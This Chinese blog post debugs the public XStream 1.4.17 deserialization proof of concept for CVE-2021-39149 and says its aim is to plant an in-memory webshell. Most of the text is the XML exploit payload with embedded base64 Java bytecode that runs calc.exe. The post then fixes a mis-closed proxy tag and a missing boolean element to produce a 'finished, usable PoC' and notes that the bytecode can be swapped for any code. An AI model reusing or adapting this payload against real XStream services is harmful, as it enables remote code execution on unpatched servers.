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「WEB安全」Xstream最新反序列化poc执行报错问题

wptr33 2025-01-21 21:58 17 浏览

前言

最近有个需求，用Xstream反序列化打个内存马，从通用性来讲，肯定用1.4.17的洞去打应用范围最广。众所周知，Xstream官方会提供其漏洞的poc。在我实验之下，1.4.17的几个poc只要涉及到任意java代码执行的都会报错，纯调用java.lang.Runtime.exec()的却不会报错。在我调试之下发现了其奥秘，本文就是解决Xstream任意java代码执行报错的问题。

正文

CVE-2021-39149

官方poc如下

<linked-hash-set>
  <dynamic-proxy>
    <interface>map</interface>
    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
      <classToInvocationHandler class='linked-hash-map'/>
      <defaultHandler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Object</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Object</class>
              <name>hashCode</name>
              <parameter-types/>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                  <default>
                    <__name>Pwnr</__name>
                    <__bytecodes>
                      <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
                      <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                    </__bytecodes>
                    <__transletIndex>-1</__transletIndex>
                    <__indentNumber>0</__indentNumber>
                  </default>
                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
              </proxy>
              <implementing__method>
                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                <name>getOutputProperties</name>
                <parameter-types/>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </defaultHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

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坑点1

首先报了一个不识别字段的错误

接下来我们排错，在this.handleUnknownField这里下端点，然后debug运行

从下图可以看到，这个方法的入参fieldDeclaringClass=sun.tracing.dtrace.DTraceProbe，fieldName=com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。这表示xstream希望从xml中还原sun.tracing.dtrace.DTraceProbe类中字段名为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的字段值。然而sun.tracing.dtrace.DTraceProbe中肯定是没有这个字段名的字段的。但为什么会发生这种事呢？我记得xml字串里面com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是作为类进行反序列化赋值的呀。那么原因一定还是在xml字串中。

最终排查xml字串，我发现了一个诡异的bug。上面箭头那里的proxy居然自己闭合了。。。这就直接导致了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl变成了sun.tracing.dtrace.DTraceProbe的一个字段进行解析了。

正确写法应当如下，删除\</proxy>中的/符号，使\<proxy>和后面的\</proxy>闭合，这样com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl就可以作为一个类进行反序列化赋值了。

<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                  <default>
                    <__name>Pwnr</__name>
                    <__bytecodes>
                      <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
                      <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                    </__bytecodes>
                    <__transletIndex>-1</__transletIndex>
                    <__indentNumber>0</__indentNumber>
                  </default>
                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
              </proxy>

不过你以为这就结束了？

坑点2

在我信心慢慢的运行poc的时候，却发现又报错了，这次错误发生在TemplatesImpl反序列化的时候，老样子我们打个断点去看看。

错误是从下图箭头位置抛出的，因此我们跟如进入，看这个readBoolean是做什么的

跟了一步就发现，这个方法是用来读取一个Bool类型的标签的

然而我们的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中除了\<defalut>标签，就干干净净的了，从哪里能读到Bool值呢，所以就会直接抛出异常了。这里我们需要手动加一个bool标签，供TemplatesImpl反序列化得时候读取即可。</defalut>

从官方文档可以看到bool标签是如下写法

<boolean>true</boolean>

在我们得实际情况中，我是希望bool值为false得，这样我就不需要调用第二个readObject造成后续得麻烦。

最后修改得TemplatesImpl如下，在\</default>后面加了一个false的Bool标签。

<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                  <default>
                    <__name>Pwnr</__name>
                    <__bytecodes>
                      <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
                      <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                    </__bytecodes>
                    <__transletIndex>-1</__transletIndex>
                    <__indentNumber>0</__indentNumber>
                  </default>
<boolean>false</boolean>                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>

poc成品

最后得到可用的poc，作用为弹calc，要改的话直接修改byte-array里面的内容就行了

<linked-hash-set>
  <dynamic-proxy>
    <interface>map</interface>
    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
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          </entry>
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      </defaultHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

结尾

你们相信这是官方的一个失误吗（狗头）。

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